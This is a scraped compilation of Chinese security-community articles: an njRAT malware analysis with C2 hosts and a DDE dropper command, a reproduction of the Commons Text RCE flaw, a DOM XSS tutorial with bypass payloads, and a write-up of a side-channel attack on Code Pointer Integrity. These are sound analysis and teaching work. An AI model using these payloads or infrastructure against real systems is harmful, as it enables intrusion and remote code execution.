<https://www.evilsocket.net/2018/02/27/All-hail-bettercap-2-0-one-tool-to-rule-them-all/>
GetGo Download Manager 5.3.0.2712 – Buffer Overflow (SEH)
<https://www.exploit-db.com/exploits/44187/>
Leveraging INF-SCT Fetch & Execute Techniques For Bypass, Evasion, &
Persistence
[https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/](https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/?utm_source=securitydailynews.com)
Chrome V8 – ‘PropertyArray’ Integer Overflow
<https://www.exploit-db.com/exploits/44179/>
用一个域名挖出一个团伙，暗云实战中的威胁溯源方法
<https://mp.weixin.qq.com/s/VT0npkPY8byBLA6WTTMAyw>
tcp连接劫持者
<https://crates.io/crates/rshijack>
<https://github.com/kpcyrd/rshijack>
Joomla! Component K2 2.8.0 – Arbitrary File Download
<https://www.exploit-db.com/exploits/44188/>
AxxonSoft Axxon Next – AxxonSoft Client Directory Traversal via an initial
/css//..%2f substring in a URI. CVE-2018-7467
<http://seclists.org/fulldisclosure/2018/Feb/82>
高级蜜罐框架
<https://github.com/honeytrap/honeytrap> | 社区文章 |
# 老树开新花--njRAT家族恶意软件分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日，360CERT监测到“njRAT”家族恶意软件的新型变种正在活跃，该木马家族使用.NET框架编写，并且本文中所讲的样本带有严重代码混淆妨碍安全人员分析。
njRAT又称Bladabindi，是一个插件化的远控木马程序，由于木马简单易学，大大降低了利用门槛，在该团伙的恶意利用过程中，我们总结出以下特点：
恶意载荷层层加密存储
> 解密流程可控
>
> 代码混淆，做了较强anti reverse
>
> 全局字符串加密存储
>
> 具备勒索软件能力（新功能）
>
> 盗取数字货币（新功能）
此外，我们在后续的追踪关联过程中，发现该团伙的历史行为，均为通过高交互强社工技巧配合钓鱼邮件传播恶意软件，且目标均为银行，税务等机构，本次我们捕获到的样本相较以往更多的利用了漏洞、低交互攻击技巧进行样本落地。
## 技术分析
DDE是Inter-Process Communication（进程间通信-IPC）机制下的一种遗留功能，最早可以追溯到1987年，它可以与一个由其他基于Microsoft
Windows程序所创建的文档建立一条动态数据交换（DDE）链接。在office场景下，除了漏洞，宏之外。DDE也是一种常用的载荷投递方式。
DDE常用的攻击方法，是嵌入DDEAUTO对象，例如：
{DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe”}
与Powershell结合，可以进行远程载荷下载，恶意代码解码释放，远程命令执行等。因为DDE的危险性，微软在去年12月，在office中禁用了DDE协议。
本次样本是一个excel文件，请求更新通过DDE协议执行msiexec远程下载并运行恶意载荷。
首先执行的文件为memo.msi文件，在临时目录继续释放下一层载荷运行，里面包含一个Base64编码的C#代码，转码后对代码动态转换为程序集，使用Invoke()加载。运行后会再次释放一段Payload进行加载运行，经过两次释放，恶意代码主体开始运行。
具体释放流程如下：
1、通过DDE执行下载恶意载荷并释放至“C:\Users\ADMINI~1\AppData\Local\Temp\mome.msi”执行。
2、在临时目录继续释放下一层载荷运行。
3、解密通过BASE64编码的C#代码动态转换为程序集后将自身资源内数据解密加载进入下一层载荷。
4、读取自身文件的资源通过特定算法解密，得到Stub.exe(病毒主体)与adderalldll.dll(注入功能DLL)。
5、添加开机启动项后通过加载adderalldll.dll(注入功能DLL)将Stub.exe(病毒主体)注入到RegAsm.exe(傀儡进程)运行。
### 样本流程图
样本释放：
病毒执行：
* 主要功能概述
* 计划任务建立及删除
* 获取主机信息
* 注册表操作
* USB设备感染
* 键盘记录
* 获取当前窗口Tittle
* 获取运行进程信息
* 检测杀软及运行环境
* 比特币行为监控
* 勒索
* DDOS(slowloris和ARME)
* 向远程C2发送数据
* 接收C2指令，进行指定操作
### C2指令
偏移 指令名 行为
3052 "TextToSpeech" 朗读文本
2436 “delchrm” 清除Chrome Cookie
2608 “taskmgrON” 启动任务管理器
2812 “OpenWebpageHidden” Hidden模式打开iexplore.exe
2698 “MonitorOFF” 关闭显示器
2188 “RwareDEC” 勒索
2722 “NormalMouse” 恢复鼠标控制
2170 “chngWLL” 更换壁纸
3088 “kl” 键盘记录及获取当前窗口tittle
2904 “msgbox” 弹出消息框
2380 “ddos.slowloris.start” 启动slowloris
2652 “DisableCMD” 禁用CMD
2208 “RwareSU” 展示勒索信息
2424 “seed” 进行种子下载
2566 “HideBar” 隐藏托盘
2994 “restartme” 重启电脑
2454 GiveMeAdmin Bypass UAC
2502 “BitcoinOFF” 关闭比特币相关进程监控
2584 “taskmgrOFF” 关闭任务管理器
2526 “EventLogs” 删除记录的信息（键盘记录及窗口Tittle）
2940 “antiprocstop” 停止检测杀软
3016 “shutdownme” 关机
2748 “ReverseMouse” 劫持鼠标
2968 “spreadusbme” 感染USB设备
2776 “ClearClp” 清空剪切板
2630 “EnabeCMD” 启用CMD
2676 “MonitorON” 打开显示器
2796 “SetClp”” 设置剪切板
2306 “ddos.ARME.stop&” 停止ARME
2338 “ddos.slowloris.stop(” 停止slowloris
2850 “OpenWebpage” 打开程序
2272 “ddos.ARME.start” 使用ARME进行DDoS
3040 “botk” 定时任务创建及删除
2480 “BitcoinON” 比特币相关进程监控
“Rware” 进行加密
2254 “pcspecs” 发送系统信息
3096 “prof” 注册表操作（增，删）
2548 “ShowBar” 显示托盘
2876 “BlockWeb” 劫持网站（host方式）
2920 “antiproc” 启动检测杀软进程
2226 “searchwallet” 检测系统中安装的比特币钱包并发送给C2
7554 “PLG” 检测插件并使用C2进行配置
### 技术细节
样本属于njRAT家族，使用C#编写生成。当成功感染目标后，样本自身copy到主机中进行驻留（样本最初在内存中运行），并添加计划任务常驻系统。
样本做了混淆，关键部位的参数和字段都进行了加密。首先进行解密，解密后相关位置的内存为：
可以编写脚本进行字段查询，或者批量解密字段。
样本运行时，根据运行状态，会开启以下几个主要线程：
* MyAntiProcess（检测杀软）
* Bitgrb（监控比特币应用）
* CHuNbRc6NBDgA1N5fN.RLSH5Jqs2M.WRK（键盘及窗口tittle记录）
* CHuNbRc6NBDgA1N5fN.C6yF5G7kY（发送数据及接收C2指令）
**MyAntiProcess**
MyAntiProcess 主要功能是检测杀软和反调试反沙箱，如果检测一些进程到会尝试进行关闭。
**Bitgrb**
Bitgrb进程启动后，会进行进程扫描，对含有BITCOIN字符串的进程命进行监测。当进行购买或者销售比特币时，会对加密钱包进行跟踪。同时伴有对剪切板内容的一些操作。
**CHuNbRc6NBDgA1N5fN.RLSH5Jqs2M.WRK**
这个函数是进行键盘记录和窗口tittle记录的。每次记录20480个数据。将键盘记录的信息写到注册表中，进行数据中转。
**CHuNbRc6NBDgA1N5fN.C6yF5G7kY**
C6yF5G7kY分为三个部分，第一个是循环发送主机信息，其中包括：
1. 系统名称
2. 用户名
3. Windows版本(64位/32位)
4. 网络摄像头（是/否）
5. 活动窗口tittle
6. CPU
7. GPU
8. 内存
9. 磁盘
10. 感染时间
第二部分接受C2指令，进行相关操作。
C2的指令是通过savage进行分割，并且提取第一部分的hash值进行区分。
第三个是提供一个Socket.send接口，向C2发送一些信息。函数名为ISqOs4Ltj。传入一个字符串，会将其信息发送给C2。
关于C2的信息:
主机名: apache202[.]duckdns[.]org
端口：7752
C2的信息，位于：
进行Tcp连接的位置为：
**执行的两种方法**
样本中执行的方法可以分为两种，一个是使用Interaction.shell
另外一种是使用thread.start()进行执行操作
**勒索**
勒索主要的指令有三个RwareDEC，RwareSU，Rware。
Rware为加密模块，采用AES进行加密，主要是对拓展名.lime的文件。
在此随机生成一个字符数组，Lime将输出字符串放在％AppData％\ Microsoft \ MMC \hash位置
并且会对界面输出勒索信息：
**U盘感染**
样本有U盘感染的行为，首先检测主机上的磁盘盘符，之后会对检索到的磁盘盘符递增一个，进行文件复制。如果只有C，D盘，则在复制目录数组返回C，D，E，因为插入优盘时盘符自增，所以达到传播到U盘的目的。
**Bypass UAC**
样本中有一个提权操作，使用了注册表劫持来Bypass UAC。
## 样本关联分析
从顶级域名上来看：这是个动态域名，其顶级域名注册人与本次事件并无关联。
我们根据C&C指向的IP 185.208.211.142发现历史解析域名：
### secureserver202[.]duckdns[.]org
我们在HYBRID沙箱中发现了一个样本与该域名有关联：
<https://www.hybrid-analysis.com/sample/9a76ac2c893154592a09a179e5af2c86c8871265d009014bfb5ab25fabdb448a?environmentId=120>
从沙箱的报告中得知，该样本功能与本文中所提到的样本功能类似，但他会分别连接两个服务器：181[.]215[.]247[.]31、185[.]208[.]211[.]142。与我们发现的样本不同的是C&C端口为25255。
根据IP：181[.]215[.]247[.]31我们在360威胁情报中心获得他的历史关联信息：
根据关联信息我们得知该团伙还有个域名：sandeeprecruit[.]duckdns[.]org
目前该域名A记录解析：91[.]192[.]100[.]26
根据VT的信息来看，该团伙的样本至少在2月24日就开始在活跃。
三台机器开放的服务犹如克隆一般，不过根据样本获知的C2端口(2404、25255、7752、1933)均已关闭。
### anotis[.]publicvm[.]com
在该域名下我们发现了两个IOC样本：
8cabb48e50d72bcc315bc53a5ab62907dae22f68d08c78a5e7ed42270080d4d1
21e16f82275a9c168f0ce0d5c817cdbbc5d6d7764bb2e2ab8b63dff70f972600
而通过这两个样本我们找到了由proofpoint在今年3月23日发布的分析报告：<https://www.proofpoint.com/us/threat-insight/post/tax-themed-email-campaigns-steal-credentials-spread-banking-trojans-rats-ransomware>
报告中指出：该样本以税收为主题通过电子邮件传播银行木马、RAT和勒索软件，其利用方式与本文中所说样本类似。
### anotiz[.]erlivia[.]ltd
目前该域名解析的IP地址：198.54.117.200
通过威胁情报我们得知：
该团伙很有可能利用过或者正在利用该服务器通过邮件传播恶意载荷。
根据他们之间的关系，最终我们总结了一张图：
上图数据来源：360NetLab
## IOC
filename/url | hash
---|---
apache202[.]duckdns[.]org:7752 | N/A
<hxxp://calogistics>[.]ga/memo[.]msi | N/A
bill_06_13_2018.xls | 4DE8A3637E2E6127AA0CDA56A9EE406F59B64CAB
memo.msi | EB02F1A546C9ADD107D0F3AD85726387A742F204
Binary.exe | E99F9426B2D1239FFEC43AE4371B6738C5897D81
payload.bin | 51F361FA7F492E560F31824FB9836CD59B67D37C
adderalldll.dll | CCA96E199E144EAAA2E4C7300081E36BDFB0BB0B
Stub.exe | 2E7D6F6B4EEA61EE1334CECC539E5F9298179EA2
## 总结
njRAT这个木马简单易学，在网上随便搜搜就有一大片配置木马或做免杀的文章教程，且他强大的功能完全可以满足犯罪的需要，所以近年来该家族的木马在互联网上非常的活跃，我们在分析完以后总结出以下几点：
1、勒索
2、数字货币盗取
3、键盘记录
4、自动感染USB设备
5、检测杀软及反调试
6、远程控制
7、劫持HOST
8、恶意载荷加密混淆
9、字符串加密
10、代码混淆
11、注入傀儡进程运行
我们在分析过程中发现该样本在利用傀儡进程运行时，注入完成后存在兼容性问题，可能需要在指定环境中才可以成功执行，所以我们推断这可能是一次定向攻击，并非大范围攻击，我们溯源后得知该团伙至少在今年2月24日就开始在活
跃，并且目前他的服务器还保持可连通状态，根据360安全大脑-大数据提供的相关信息来看，目前还没有发现中国的计算机受到该团伙的攻击。
## 安全建议
1、请不要接收或者打开任何陌生人通过邮件或者聊天软件等发来的任何文档。
2、下载安装“360安全卫士”并保持所有防护开启状态并定时检查软件更新。
## 时间线
2018-06-26 360CERT完成分析报告
## 参考链接
1. <https://www.proofpoint.com/us/threat-insight/post/tax-themed-email-campaigns-steal-credentials-spread-banking-trojans-rats-ransomware>
审核人：Atoo 编辑：少爷 | 社区文章 |
**作者：标准云
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 漏洞简介
Apache Commons Text 执行变量插值 (variable interpolation)，
允许动态评估和扩展属性。插值的标准格式是`"${prefix:name}"`，其中 "prefix" 用于查找定位执行插值
`org.apache.commons.text.lookup.StringLookup` 的实例。从 1.5 版到 1.9 版，默认的 Lookup
实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
* "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
* "dns" - resolve dns records 解析 dns 记录
* "url" - load values from urls, including from remote servers 从 url 加载值，包括从远程服务加载值
如果使用了不受信任的配置值，则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。
我们发现漏洞 `CVE-2022-42889` 与 漏洞 `CVE-2022-33980`
描述基本相同，都是因为存在危险的插值器。两个漏洞应该有`异曲同工` 之妙，对两个漏洞依次进行复现并进行总结。
## 漏洞复现
创建 maven 项目，添加依赖
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
}
}
## 漏洞分析
画出一整个的调试过程
Apache Commons Text 是一个专注于处理字符串的算法库，它包含一组用于在 Java 环境中使用的处理文本的函数与可重用组件。
在 `org/apache/commons/text/StringSubstitutor.java` 描述了一些对字符串的处理方法
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
System.out.printf(interpolator.replace("${sys:user.dir}"));
}
}
?
### 漏洞调试
`org.apache.commons.text.StringSubstitutor#replace(java.lang.String)`
对传入 `replace` 的参数转换类型后传到 `substitute` 中处理
`org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder,
int, int)`
`org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder,
int, int, java.util.List<java.lang.String>)`
对参数进行检验判断首字符是否为 `$` 然后进行处理之后传到 `resolveVariable`
`org.apache.commons.text.StringSubstitutor#resolveVariable`
获取 `getStringLookup()` 的值 `InterpolatorStringLookup` 然后调用其 lookup 方法
`org.apache.commons.text.lookup.InterpolatorStringLookup#lookup`
根据 `:` 分割提取出 `prefix` 值 然后根据 `stringLookupMap` 提取其对应的 lookup 实例化对象
script 对应的是 `ScriptStringLookup`
`org.apache.commons.text.lookup.ScriptStringLookup#lookup`
再次根据 `:` 将表达式分割
同 `CVE-2022-33980` 一样 dns 和 url 也属于不安全的插值器
### 总结反思
首先是针对这个漏洞而言
`createInterpolator` 实例化了 `StringSubstitutor` 并向其中传入
`StringLookupFactory.INSTANCE.interpolatorStringLookup()`
`org.apache.commons.text.StringSubstitutor#createInterpolator`
`org.apache.commons.text.StringSubstitutor#StringSubstitutor(org.apache.commons.text.lookup.StringLookup)`
是根据传入的 StringLookup 去调用不同的方法 接着会到 `InterpolatorStringLookup.java`
所以直接调用 `StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup()` 就是调用
`org.apache.commons.text.lookup.InterpolatorStringLookup#lookup`
漏洞的利用也可以如此构造
import org.apache.commons.text.lookup.StringLookupFactory;
public class CommonsTextDemo {
public static void main(String[] args) {
StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup("script:javascript:java.lang.Runtime.getRuntime().exec('calc')");
}
}
`CVE-2022-33980` 和 `CVE-2022-42889` 都是对字符串的处理不当，最终都是调用了 `ScriptStringLookup`
对传入的内容进行处理，本质上应该多关注 jar 本身的功能，有可能一些漏洞就存在于本身所对应的功能上。
## 漏洞修复
移除了不安全的插值器 `script` 、 `dns` 和 `url`
* * * | 社区文章 |
### 前言
* * *
每个月都得学点什么，以前对Dom Xss
只有一个模糊的印象，就是看不懂。在xss中，分为反射型，存储型和DOM型XSS，而且难以防范，在[安全小课堂](https://www.secpulse.com/archives/92286.html)中，Camaro师傅就介绍过Dom
Xss的优势：
* 避开waf
因为有些情况Dom
Xss的Payload，可以通过`location.hash`，即设置为锚部分从`#`之后的部分，既能让JS读取到该参数，又不让该参数传入到服务器，从而避免waf检测。`location.search`也类似，它可以把部分参数放在`?`之后的部分。
* 长度不限
这个很重要，关键时候！长度不够，可不是什么小药丸就解决的。
* 隐蔽性强
攻击代码可以具有隐蔽性，持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS，非常难以察觉，且持续的时间长。
[图片来自](https://twitter.com/k2wanko/status/1126621174874529793)
### 常见场景
* * *
#### 跳转
在很多场景下，业务需要实现页面跳转，常见的使用，`location.href()` `location.replace()`
`location.assign()`这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞，而DOM
XSS与此似乎“八竿子打不着”，实际上跳转部分参数可控，可能导致Dom xss。
首先我们来看个简单的例子:
var hash = location.hash;
if(hash){
var url = hash.substring(1);
location.href = url;
}
变量hash为可控部分，并带入url中，变量hash控制的是#之后的部分，那么可以使用伪协议`#javascript:alert(1)`。
这里扩展下，常见的几种伪协议"javascript:","vbscript:","data:"
IE下"vbscript:"
`#vbscript:msgbox(IE)`
"data:"
`#data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`
#### 使用indexOf判断URL参数是否合法
var t = location.search.slice(1) // 变量t取url中?之后的部分
if(t.indexOf("url=") > -1 && t.indexOf("http") > -1){ // 限定传入url中要带有indexOf的关键词
var pos = t.indexOf("url=")+4; // 往后截取
url = t.slice(pos,t.length);
location.href = url // 跳转
}
indexOf会对url进行判断，是否存在关键字http，两个关键字都满足才能执行下面的部分，如果正常请求
`?url=http://cos.top15.cn`
没问题，我们构造`javascript:alert(1)`，并不会弹窗，正如我们上段所言，需要满足indexOf带有的关键字，所以只要构造`javascript:alert(1)//http`即可完成攻击，有的匹配`indexOf("http://cos.top15.cn")`，看似好像没问题，其实构造`javascript:alert(1)//http://cos.top15.cn`即可绕过，实际上这种使用indexOf来判断跳转来路域名的方法是不负责任，容易被绕过。
#### 正则表达式缺陷
对跳转的url，通过正则进行判断是否合法http(s)，容易忽略元字符`^`(匹配行的开始位置)，加上和不加上，过滤的效果具有天壤之别。因为正则并没有严格限定跳转的url必须是http(s)开头，那么`javascript:alert(1)//http://cos.top15.cn`即可绕过。还有一些正则要求匹配上一些`符号`，`字符串`，`参数类`的加上就可以了，主要得看得懂令人头晕的`正则`。
#### 取值写入页面或动态执行
接受url在前端显示，例如名称，地点，标题等，一般标题等都会将`<>`html实体编码，但在上传文件处，`文件的的标题`之类的，可能不会太重视。
#### innerHTML
<div id="msgboard"></div>
<script>
let hash = location.hash;
if (hash.length > 1) {
let hashValueToUse = unescape(hash.substr(1));
let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
}
</script>
innerHTML属性可以设置或者返回指定元素的HTML内容，此属性使用频繁且极为简单。如上代码变量hash是可控的，取值后，通过innerHTML写入div中。
以下三个属性都可以修改节点，`innerHTML \ outerHTML`
使用时要注意，是否写入标签，标签需要进行编码处理。而`innerText`就比较特殊，它`自动`将HTML标签解析为普通文本，所以HTML标签不会被`执行`，避免XSS攻击。
[图片来自](http://www.softwhy.com/article-9295-1.html)
#### document.write
document.write方法可以在文档中写入指定的字符串。
var hash = location.hash.slice(1);
document.write(hash);
上述例子很简单，`location.hash`的#之后是可控部分传递数据，`document.write`接收执行。
#### eval
执行一段由JavaScript代码组成的字符串。
eval("var x = '" + location.hash + "'");
和上面例子一样，有`可控外部参数`带入数据，接收并执行。慎用危险的`eval`，还有定时器方法是`setInterval`和`setTimeout`。
#### 特殊取值
从`localStorage`、`SessionStorage`、`Cookies`储存源中取数据，这些值往往会被认为来源相对可信，未进行`处理`。
let payloadValue = localStorage.getItem("payload", payload);
let msg = "Welcome " + payload + "!!";
document.getElementById("msgboard").innerHTML = msg;
用`https://domgo.at/cxss/example/6`来演示
这里`localStorage`是数据来源，`innerHTML`是接受并执行。此外还有`document.referrer`，`window.name`，`postMessage`都值得关注，也容易造成Dom
xss，`触发点`不同，`document.referrer`可能需要从上一页 / 上面的url，才能触发。
### 最后
* * *
写完这篇水文后。。。如有错误，请师傅指正。
### 参考
* * *
* <https://www.secpulse.com/archives/92286.html>
* <https://mp.weixin.qq.com/s/Ly69JPH8ttDnvUiRRkfIvA>
* <https://www.owasp.org/images/6/69/OWASP_domxss.pdf>
* <http://drops.xmd5.com/static/drops/papers-892.html>
* <https://blog.0daylabs.com/2019/02/24/learning-DomXSS-with-DomGoat/> | 社区文章 |
# 攻击代码指针完整性
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
代码指针完整性（CPI，更详细的介绍可以参考我之前的[文章](https://www.anquanke.com/post/id/193818)）是2014年提出的一种针对控制流劫持攻击的防御措施，CPI将进程内存划分为安全区和常规区，对敏感指针，尤其是代码指针放置到安全区做了保护。其作者认为该机制能够对控制流劫持攻击实现完全的防御，但遗憾的是，CPI（主要指基于信息隐藏的实现）做了两个并不总是成立的假设：
1. 安全区的信息不会被泄露。
2. 对安全区的暴力破解将会导致程序出现崩溃。
而实际上，安全区的信息可能被泄露，而精心构造的扫描策略能够在不导致程序崩溃的前提下对安全区地址进行破解，这就是我接下来要为大家介绍的攻击。
对于CPI的攻击是由MIT的Isaac Evans等人提出来的，攻击完全在CPI机制所假设的情景下进行：
1. 攻击者对进程内存有完全的控制权，但不能修改代码段。
2. 攻击者可以对任意地址（代码段外的）进行读写。
3. 攻击者不能干涉程序加载。
实际攻击时是利用了栈溢出漏洞，对某一个数据指针实现了完全的控制，而这完全是在CPI的假设之内的。具体攻击步骤如下：
## 实施时间侧信道攻击，收集相关数据
侧信道攻击（side channel
attack），是针对目标运行过程中的时间消耗、功率、或者是物理化学特性（如电磁辐射）等信息对目标进行攻击的一种攻击手段，更准确的定义大家可以自行了解。而顾名思义，时间侧信道攻击关注的就是目标运行时的时间消耗。对于CPI的攻击就需要实施时间侧信道攻击。
比如如下代码片段：
如果指针被攻击者控制，使其指向内存中的某个位置，则此时可以通过改变ptr的值，读取出不同内存地址的值，造成代码执行时间不同，从而服务器的响应时间不同。根据响应时间，可以估计任意内存地址的值。示意图如下：
而此处显然是一个普通的数据指针，这样的指针在CPI机制中是不受保护的。这样一来，借由栈溢出漏洞，或者是堆污染漏洞（取决于目标指针在堆上还是栈上）就可以实现对目标指针的控制，进而得到相关信息。
实际攻击时是利用了nginx 1.6.2版本存在的栈溢出漏洞，控制了nginx_http_parse.c中的如下指针nelts：
攻击者将其指向了一个精心选择的位置。CPI虽然有48bit（AMD64架构高16位地址不可用）位置用于地址分配。在某些系统内可用位数可能更加少，如64位的ubuntu
14.04，其只有46.5bit可用于虚拟内存分配。因为其有8192（213）个段描述符，每段32位，另外有三个唯一标识符local、global、interrupt，则共有13+32+1.5（3个标志需要2比特，但其中一个需要共用）=46.5bit。但实际上内存分配（包括安全区）往往依赖于mmap函数和随机化，所以攻击者只需关注mmap为目标程序分配的基址，只有28个bit可供分配（这是由提出地址随机化ASLR的论文确定的）。所以该位置只需位于mmap函数为nginx分配的区域中即可。
实际进行时间侧信道攻击时，具体的时间消耗指标是0.6kb的一个静态网页在1Gbit线路下处理一次http请求的往返时间。可以通过响应时间来估计相应的值，时间侧信道攻击重点关注以下等式：
byte代表当前指针指向的内容，取值从0到255，是待估计的值。
c是一个待定常数（也就是样本量与累计响应时间的斜率）。
baseline是http请求的平均时间，反映了其他因素影响，应该去除。
di代表当前处理第i次请求，且byte不为0时的时间。
s代表样本容量，在此处也就是发送的请求数。实验中收集了10000个样本。
当byte=0时，显然有：
当byte=255时，则有：
实验中观测到的baseline为3.2ms。样本量和累计响应时间具体关系如下：
下图展示了实际值与估计值的关系：
可以看到，我们能以较高的准确度对目标值进行估计，接下来就是对安全区的定位了。
## 定位安全区
攻击者对现有的x86-64架构下的CPI实现进行了分析，发现0x7bfff73b9000到0x7efff73b9000之间可以确保处于安全区。可以让前述nelts指针指向这范围里的任何一个地址，实验中选取了0x7efff73b9000。安全区在内存中大体位置如下：
最高地址处是进程占用的栈，然后是一段至少为128MB的间隔，在之后是mmap函数分配的区域，mmap的基址是随机分配的（如果有随机化），其最大最小值已经在图中标出。动态链接库一旦被放入mmap机制处，安全区就紧随其后，大小为2^42字节。而注意到，图中大括号部分总是位于安全区，这也是上述0x7bfff73b9000到0x7efff73b9000的来源。
### 不会导致崩溃的算法
由上图可以很直观的看到，只要能定位到动态链接库（通常为libc,以下均使用libc描述），安全区也就能够定位了（上述的地址一般来说是无效的，只能用做扫描的开始）。开始已在上述安全区地址后，以一个libc的大小（实验得出的数量级为2^21字节）为单位，向高地址检查（通过时间侧信道），直到命中libc。
整个算法可以描述如下：
1. 将数据指针指向0x7efff73b9000。
2. 向高地址调整一个libc大小。
3. 扫描一些字节值，如果全为0，说明仍在安全区，返回第2步。
4. 结束。
在最坏的情形下，我们需要2^28*page_size(通常是4KB)次读取，但由于内存是页对齐的，所以实际上只需要2^28次即可。由于安全区大小有2^42字节，十分稀疏，几乎全由0构成，故可以取足够多的值，通过当前值是否为0判断是否命中libc，这又能进一步较少读取次数。为了保证准确性，选取libc每页偏移为1272和1672的字节（这两者至少有一个不为0）和另外5个字节，同时为每个字节准备30个样本进行时间侧信道攻击来估计数据。下图展示了样本量和误报率（将0识别为非0，可能导致将安全区误认为libc）的关系。
可以看到，在前述发送10000个请求的前提下，每个字节采集30个样本已经能保证误报率为0。
这样一来，实际的最大读取次数就进一步被降低为228 * 212/221 =
219次。不会导致崩溃的算法在定位libc阶段需要进行7*219*30=110100480次读取，约耗时97小时。图示如下：
现在已经定位到libc,但我们仍不知道我们具体在libc的什么位置，所以，攻击者从页内偏移3333的位置再取70个字节，与本地libc进行匹配，又要再耗时1小时，总计耗时98小时。
### 会导致崩溃的算法
如果我们可以接受程序崩溃的话，就可以引入二分查找算法。任何在mmap基址之上的地址将会导致崩溃，那么我们只要找到这样一个地址X即可：
X本身安全,但X向高地址调整一个libc大小后导致崩溃。
这说明X位于libc中。在二分查找算法下，我们只需最多读19次，并最多造成19次崩溃即可定位到上述X。给定可以接受的崩溃次数T，则扫描可以覆盖的最大内存数量f(i,
j)和崩溃次数i,页读取数j有如下递推关系：
T与读取次数关系可绘制图像如下：
可能导致崩溃的算法如下：
会导致崩溃的算法则要快得多，在平均12次崩溃之后，耗费几秒就能定位到libc的具体位置。
实施以上两个算法，可以很方便的定位到libc基址libc_base，而安全区基址safe_region_address可以计算如下：
至此，安全区的定位就完成了。
## 攻击安全区
现在，攻击者已经明确了安全区基址，某个代码指针ptr_address的地址只需要与掩码cpi_addr_mask（0x00fffffffff8）进行运算即可。接下来要做的就是使用前述nelts指针，改变安全区的read_handler入口，然后就可以修改代码指针的相关元数据（存储有其值，地址上下界等信息），是目标代码指针指向系统调用sysenter。而x86-64环境下借由sysenter进行的攻击就是老生常谈了。这里简单介绍一下。攻击者可修改相关寄存器的值，使sysenter直接执行某个命令，或者是让控制流转向某个ROP链的开头。实际攻击时，耗费了6s完成整个攻击。接下来我简单的为大家介绍一下攻击过程。（涉及到的脚本暂时还没有开放）
开启nginx服务器，启动攻击脚本：
服务器显示有10次崩溃：
libc具体位置和安全区的起始位置已经被定位到：
继续进行，成功开启shell:
### 回头看：CPI的设计缺陷
在已有的x86-64架构下的CPI实现中，段保护已经不可用。而其使用以地址为下标的数组来实现元数据，所以该数组地址被存储在一个静态表__llvm__cpi_table中，使得默认设置下没有任何特殊保护。这可能是由于是早期版本的关系。另外，不管有没有实施随机化，安全区的分配总是依赖于mmap来进行，这使得整个CPI无法防御经由内存泄露进行的攻击。而很多系统暂不支持地址随机化，或者是只能实施局部的随机化，这都会削弱CPI的安全性。而在32位系统内，CPI使用了段寄存器（gs寄存器），这可能会导致TLS（thread
local
storage，线程本地存储）冲突，以libc为例，其中使用了gs寄存器的指令约有3000条。而简单的换用其他寄存器，如fs寄存器，有可能导致兼容性问题，比如wine就需要使用到fs寄存器。而当CPI向其作者提出的那样用以保护系统内核的话，由于操作系统对这些寄存器有着特殊的用途，使用这样的寄存器更是会造成不可避免的冲突。
### 改进CPI
对CPI的改进要立足于增加攻击过程中的崩溃次数，但必须指出的是，这些改进都无法百分百防御对不支持段保护的系统的攻击。
1. 扩充安全区大小。这是一个最直接，最简单的想法，但遗憾是的是，单纯的扩充安全区大小并不能抵抗前述进行的侧信道攻击。所以必须增加额外的寄存器来保护偏移量，并为相关操作设计专门的指令。
2. 对安全区实施严格地址随机化。这将会使得没有映射的内存块变大，增加攻击时访问到这些区域的机会，进而触发崩溃。但正如前述二分查找算法所显示的，攻击者能够在有限的崩溃里达到目标。类似堆喷射进行大量的堆分配和泄露任何动态链接库的地址都能破解随机化。
3. 使用哈希函数。这会来巨大的开销，同时哈希函数的安全性没有绝对的保证。
4. 缩减安全区。这和第1点恰恰相反，看似有道理，但是如果mmap仍然是连续的，则其实质没有改变。所以必须同时搭配不连续的mmap。更小的安全区会引入额外开销，并且有可能没有足够空间用以保护敏感指针。
5. 使用不连续的随机mmap。这一方案必须搭配第4点使用，否则任何破解随机化的技术（如第2点当中提及的两项）都将削弱其安全性。
### CPI作者的回应
攻击公开后，CPI作者做了正式的回应。有趣的是，回应的标题是Getting The Point(er)，而攻击论文的标题是Missing the
Point(er)。回应重申，CPI的正确性是经过形式化证明的，攻击只是针对其中最简单的一种实现。其他更复杂的实现会导致更多的程序崩溃（约51000次，对CPS来说约867000次），而作者相信这样的崩溃是能被检测到的。
## 结语
信息安全的发展从来就不是攻击或者是防御单方面能够推动的。道高一尺魔高一丈在信安领域体现的最为明显。一个人造出了坚固的盾，就有千百人想要用一把锋利的矛来攻破它（有些人选择绕开持盾者，更有甚者，直接看准时机杀死拿盾的人）。反之亦然。信息安全就在这样的发展过程中，从无到有，由小而大。
## 一点八卦
提出攻击的论文是由美国国防部及美国空军赞助的。具体可见如下论文注释：
